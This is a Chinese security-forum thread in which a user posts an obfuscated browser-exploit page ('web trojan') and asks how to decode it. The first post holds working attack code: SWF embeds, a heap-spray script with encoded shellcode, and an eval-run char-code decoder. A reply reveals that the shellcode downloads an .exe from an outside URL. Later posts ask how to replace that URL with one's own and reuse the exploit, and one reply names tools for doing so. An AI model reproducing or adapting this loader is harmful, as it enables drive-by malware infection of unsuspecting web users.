瑞星卡卡安全论坛技术交流区恶意网站交流 有谁帮我看看这个网马怎么解密 谢谢了

12   1  /  2  页   跳转

[求助] 有谁帮我看看这个网马怎么解密 谢谢了

有谁帮我看看这个网马怎么解密 谢谢了

<object width="550" height="400">
<param name="movie" value="done.swf">
<embed src="xp.swf" width="550" height="400">
</embed>
</object>
<script language="JavaScript">
var memory;
var nop = unescape("%u0808%u0808");
var spray=decodeURI("abcd0C0Cabcd9090abcd10EBabcd4B5BabcdC933abcdB966abcd0453abcd3480abcdE20BabcdFAE2abcd05EBabcdEBE8abcdFFFFabcd0BFFabcdE13EabcdE2E2abcd86BDabcdD243abcdE2E2abcd69E2abcdEEA2abcd9269abcd4FFEabcd8A69abcd69EAabcd8815abcdBBEDabcd9E0AabcdE2E1abcd72E2abcd1A00abcdD18AabcdE2D0abcd8AE2abcd91B7abcd9087abcd69B6abcdEEA4abcd080AabcdE2E0abcd69E2abcd880AabcdBBE3abcdBE0AabcdE2E1abcd00E2abcd8A1Babcd8C8DabcdE2E2abcd978Aabcd8E90abcdB68FabcdA469abcd0AEEabcdE029abcdE2E2abcd0A69abcdE388abcd0ABBabcdE1DFabcdE2E2abcd1B00abcd8E8AabcdD0D1abcd8AE2abcd8A91abcd8E87abcd69B6abcdEEA4abcd4E0AabcdE2E0abcd69E2abcd880AabcdBBE3abcdFC0AabcdE2E1abcd00E2abcd631BabcdE20EabcdE2E3abcd69E2abcd633Eabcd6221abcdE2E2abcd88E2abcd88E2abcdB1F8abcdE288abcdB41DabcdD1A6abcdA222abcdDE62abcdE2E1abcd1B97abcd646BabcdE272abcdE2E2abcdE625abcdBEE1abcdCC83abcd2587abcdE1A6abcd9AE6abcdE287abcdD1E2abcdB32BabcdB1B3abcdB3B5abcd22D1abcdA469abcd0AA2abcdE0BBabcdE2E2abcd1A61abcdEDE2abcd9D67abcdE2E3abcd88E2abcd88E2abcd88E2abcd88E1abcd88E2abcd8AE0abcdE2E2abcd22E2abcd69B1abcdC6A4abcdDA0AabcdE2E0abcd61E2abcd1D1Aabcd66EDabcdE3BCabcdE2E2abcdA46Babcd8882abcdB2E2abcdB41Dabcd6BCAabcd86A4abcd6469abcdE272abcdE2E2abcdE625abcdBEE1abcdCC80abcd2587abcdE1A6abcd9AE6abcdE287abcd88E2abcd88E2abcd88E2abcd88E0abcd88E2abcd8AE2abcdE2E2abcdA2E2abcd69B1abcdC6A4abcd140AabcdE2E3abcd61E2abcd1D1Aabcd66EDabcdE3FEabcdE2E2abcd646BabcdE266abcdE2E2abcd7C6BabcdE26EabcdE2E2abcdA469abcd8882abcd88E2abcd88E2abcd69E2abcd82A4abcd1DB2abcdDAB4abcdA425abcdE292abcdE2E2abcd25E2abcd96A4abcdE2E2abcdE2E2abcd2563abcdE0E2abcdE2E2abcd39D1abcdBC69abcd8886abcd6FE2abcd92A4abcd8AB2abcdE6E2abcdE2E2abcd1DB5abcd8294abcdB41DabcdD1E6abcd5B2BabcdE6E2abcdE2E2abcd9E62abcd1DEDabcd9677abcd62EEabcdED9EabcdE21DabcdE796abcd9662abcd1DEDabcd0077abcd6909abcdCF21abcdE6E2abcdE2E2abcd1A61abcd9DE2abcd6BE1abcd92BCabcdE288abcdA46FabcdB296abcd941DabcdB592abcd541DabcdE266abcdE2E2abcdB41Dabcd63D2abcdE209abcdE2E6abcd61E2abcdE219abcd479Dabcd941Dabcd1D82abcdD6B4abcd541DabcdE266abcdE2E2abcdB41Dabcd69D6abcd7264abcdE2E2abcd69E2abcd6E7CabcdE2E2abcd25E2abcdE1E6abcd83BEabcd87CCabcd1DB1abcdCEB4abcd5C69abcdE26EabcdE2E2abcd6469abcdE272abcdE2E2abcdE625abcdBEE5abcdCC80abcd6387abcdE20EabcdE2E3abcd69E2abcd8A3EabcdE3E2abcdE2E2abcd8AB1abcdE3E2abcdE2E2abcd88B5abcd88E2abcd1DE2abcdFEB4abcd1969abcd22D1abcd39D1abcd0E63abcdE0E2abcdE2E2abcd2E69abcd1A61abcd9FB6abcd6BEAabcdE3FEabcd2261abcd09E6abcd6911abcd692Eabcd613BabcdF221abcd22D1abcdB3B2abcdB2B1abcdB2B2abcdB2B2abcdB5B2abcdB2B2abcdA469abcd0AEAabcdE210abcdE2E2abcd9C69abcd0ADEabcdE3CDabcdE2E2abcdD00AabcdE2E2abcd8AE2abcd9481abcdE295abcd918Aabcd868AabcdB68DabcdA469abcd0AEEabcdE253abcdE2E2abcdA46Babcd86DEabcdE643abcdE2E2abcd6FE2abcd8242abcd1D1Dabcd881Dabcd1D87abcdDE94abcdB41DabcdD1F2abcdB139abcdB1B1abcd1DB1abcd0A32abcdE207abcdE2E2abcd0E63abcdE3E2abcdE2E2abcd1E69abcd2561abcd25E6abcdD0E5abcd7396abcd25EEabcdE6A5abcd6B81abcdAD33abcdA525abcd42EAabcd7587abcd2529abcdEEA5abcdA2B3abcd9D58abcdA525abcdDCF2abcd54FFabcd25DBabcdF6A5abcd8B5AabcdF936abcdA525abcd5CFAabcd849Dabcd2542abcdFEA5abcd4B1Eabcd4FD5abcdA525abcd7AC2abcdF2E8abcd861AabcdD243abcdE2E2abcd69E2abcdEEA2abcd9269abcd4FFEabcd8A69abcd69EAabcd6B15abcd86B4abcdE688abcd0ABBabcdE241abcdE2E2abcd0072abcd8A1AabcdD0D1abcdE2E2abcdB78Aabcd8791abcdB690abcdE469abcdF00AabcdE2E2abcd69E2abcd880AabcdBBE7abcd660AabcdE2E2abcd00E2abcdD11BabcdB51DabcdB41Dabcd62E6abcd0ADAabcdDA62abcd970Babcd63F3abcdE79Aabcd7272abcd7272abcdEA96abcd1D69abcd69B7abcd6F0EabcdE7A2abcd021DabcdDA0AabcdE2E2abcd21E2abcdDA62abcd620Aabcd0BDAabcdF397abcd9A63abcd72E7abcd7272abcd9672abcd8A05abcdE8EAabcdE2E2abcdA26Fabcd1DE7abcd0A02abcdE2F5abcdE2E2abcd0A21abcdE2F3abcdE2E2abcdF35AabcdE6E3abcd2062abcdE2EEabcdE009abcd21BAabcd1B0Aabcd1D1DabcdB91DabcdE524abcd6B5AabcdE3BDabcd2584abcdE7A5abcd021DabcdB121abcd3E69abcd88B1abcd8AA2abcdF2E2abcdE2E2abcd69B5abcdC2A4abcd640Aabcd1D1DabcdBA1DabcdB321abcd69B4abcdDE97abcd9669abcd9ACCabcd17E1abcd69B4abcdC294abcd17E1abcd2BD1abcdA3ABabcdE14FabcdD127abcdED39abcdF25Cabcd34D8abcdEA96abcd2923abcdE1E5abcdA238abcd1309abcdFDD9abcd0597abcd69BCabcdC6BCabcd3FE1abcd6984abcdA9EEabcdBC69abcdE1FEabcd693Fabcd69E6abcd27E1abcdBC49abcd21BBabcdFD0Aabcd1D1Eabcd501Dabcd0010abcd5016abcdEDD4abcd12F1abcd99AAabcdD0DFabcd7396abcd67EEabcd4D3Dabcd8159abcd336BabcdB3ADabcd58A2abcdE59DabcdC070abcdFC92abcd8646abcd710Dabcd06D0abcd6C76abcdE8F1abcd9B4Eabcd04DBabcd267AabcdFD6FabcdB596abcdEF84abcdA11Dabcd4E5Cabcd7A39abcdF2E8abcd621Aabcd4D34abcd1978abcdF7B1abcd8A84abcd9696abcdD892abcdCDCDabcd9595abcdCC95abcd838Eabcd868Dabcd8C8BabcdCC85abcd878CabcdCD96abcd8392abcd8981abcd8687abcd87CCabcd879AabcdE2E2abcdE2E2");
var sss =Array(198,177,194,112,163,147,141,197,190,181,195,179,177,192,181,120,195,192,194,177,201,126,194,181,192,188,177,179,181,120,127,177,178,179,180,127,183,144,114,117,197,114,121,121,139,199,184,185,188,181,120,190,191,192,126,188,181,190,183,196,184,112,140,141,112,128,200,129,128,128,128,128,127,130,121,112,190,191,192,123,141,190,191,192,139,89,190,191,192,141,190,191,192,126,195,197,178,195,196,194,185,190,183,120,128,144,128,200,129,128,128,128,128,127,130,112,125,112,163,147,126,188,181,190,183,196,184,121,139,89,189,181,189,191,194,201,141,190,181,199,112,145,194,194,177,201,120,121,139);
var arr =new Array();
for(var i=0;i<sss.length;i++)
{
arr=String.fromCharCode(sss-80);
}
var cc = arr.toString().replace(/,/g,"");
cc = cc.replace([url=]/@/g[/url],",")
eval(cc);
for(i=0;i<0x600;i++)
{memory=nop + SC;}
</script>


用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
分享到:
gototop
 

回复: 有谁帮我看看这个网马怎么解密 谢谢了

我是个菜鸟想学习这方面的技术 我的QQ是7874715
gototop
 

回复:有谁帮我看看这个网马怎么解密 谢谢了

难道是shellcode而且还有XOR..密钥是abcd还是BD还是EE?...还是%U?不太明白
gototop
 

回复:有谁帮我看看这个网马怎么解密 谢谢了

abcd替换为%u,Shellcode密钥e2
结果是http://www.laoding.net/packed.exe
gototop
 

回复 4F 是昔流芳 的帖子

朋友你好 我知道你说的很详细 但是我还是不明白 你能加我的QQ吗 我的QQ是:7874715
gototop
 

回复: 有谁帮我看看这个网马怎么解密 谢谢了

那有谁能告诉我怎样去利用这个地址呢 网马是解出来了 但是需要把自己的文件加上去呀
gototop
 

回复:有谁帮我看看这个网马怎么解密 谢谢了

如果是Freshow的话,复制网马地址到Object,点击右边的按钮就是添添加。如果是Redoce,得出结果后直接点击URL>就可以了
gototop
 

回复:有谁帮我看看这个网马怎么解密 谢谢了

那网马我可以使用吗
gototop
 

回复:有谁帮我看看这个网马怎么解密 谢谢了

使用?
嘛意思
gototop
 

回复:有谁帮我看看这个网马怎么解密 谢谢了

就是把他的网址换成我的网址 然后还能使用这个网马
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT